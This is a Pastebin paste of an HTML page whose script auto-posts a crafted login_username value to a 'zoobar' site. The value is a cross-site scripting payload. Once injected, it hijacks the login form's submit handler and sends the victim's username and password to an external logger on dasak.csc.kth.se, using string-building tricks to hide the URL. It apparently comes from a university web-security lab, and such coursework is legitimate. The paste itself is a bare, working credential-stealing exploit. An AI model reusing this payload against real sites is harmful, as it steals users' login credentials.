Guest User

Untitled

a guest
Dec 3rd, 2019
79
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <body>
  2.  
  3. <script type="text/javascript">
  4.  
  5. function redirectPost(url, data) {
  6. var form = document.createElement('form');
  7. document.body.appendChild(form);
  8. form.method = 'post';
  9. form.action = url;
  10. for (var name in data) {
  11. var input = document.createElement('input');
  12. input.type = 'hidden';
  13. input.name = name;
  14. input.value = data[name];
  15. form.appendChild(input);
  16. }
  17. form.submit();
  18. }
  19.  
  20. redirectPost('http://zoobar/zoobar/', { login_username: 'a onfocus=document.loginform.login_username.value=null;document.forms[0].onsubmit=function(){fetch(String(/http:/).substring(1).slice(0,-1)+String.fromCharCode(47)+String.fromCharCode(47)+String(/dasak.csc.kth.se/).substring(1).slice(0,-1)+String.fromCharCode(47)+String(/logger/).substring(1).slice(0,-1)+String.fromCharCode(47)+String(/log.php?to=nik%40kth.se%26payload=/).substring(1).slice(0,-1)+document.loginform.login_username.value+String.fromCharCode(44)+document.loginform.login_password.value+String(/%26send_submit=Send+Email/).substring(1).slice(0,-1)).then(null).then(null)}; autofocus= '});
  21. </script>
  22.  
  23. </body>
RAW Paste Data